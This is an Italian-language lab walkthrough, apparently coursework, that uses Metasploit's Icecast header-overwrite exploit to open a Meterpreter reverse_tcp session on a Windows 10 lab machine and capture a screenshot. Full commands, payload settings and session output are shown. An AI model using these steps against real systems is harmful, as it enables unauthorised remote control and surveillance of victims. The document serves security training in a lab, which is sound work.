

Sessione Meterpreter tramite l'exploit di Icecast

Oggi viene richiesto di ottenere una sessione di Meterpreter sul target Windows 10 con Metasploit. Una volta ottenuta la sessione, si dovrà:

- Vedere l'indirizzo IP della vittima.
- Recuperare uno screenshot tramite la sessione Meterpreter.

Il programma da exploitare sarà Icecast già presente nella iso.

Per prima cosa avviamo Metasploit e delezioniamo il modulo icecast.

```
= [ metasploit v6.4.50-dev ]
+ -- --[ 2496 exploits - 1283 auxiliary - 431 post ]
+ -- --[ 1610 payloads - 49 encoders - 13 nops ]
+ -- --[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search icecast

Matching Modules
=====
#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  exploit/windows/http/icecast_header      2004-09-28      great No     Icecast Header Overwrite

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/icecast_header

msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/icecast_header) > options
```

Successivamente impostiamo i parametri dell'exploit:

- set RHOSTS <IP_target>
- set PAYLOAD windows/meterpreter/reverse_tcp
- set LHOST <IP_Kali>
- set LPORT 4444

Lanciamo l'exploit con il comando run.

```
msf6 exploit(windows/http/icecast_header) > run
[*] Started reverse TCP handler on 192.168.50.100:4444
[*] Sending stage (177734 bytes) to 192.168.50.151
[*] Meterpreter session 1 opened (192.168.50.100:4444 → 192.168.50.151:49516) at 2025-03-13 09:38:32 -0400
```

Una volta ottenuta la sessione Meterpreter, possiamo catturare un'immagine dello schermo della macchina target con il comando `screenshot`.

```
meterpreter > screenshot  
Screenshot saved to: /home/kali/AvccDZvJ.jpeg  
meterpreter > █
```

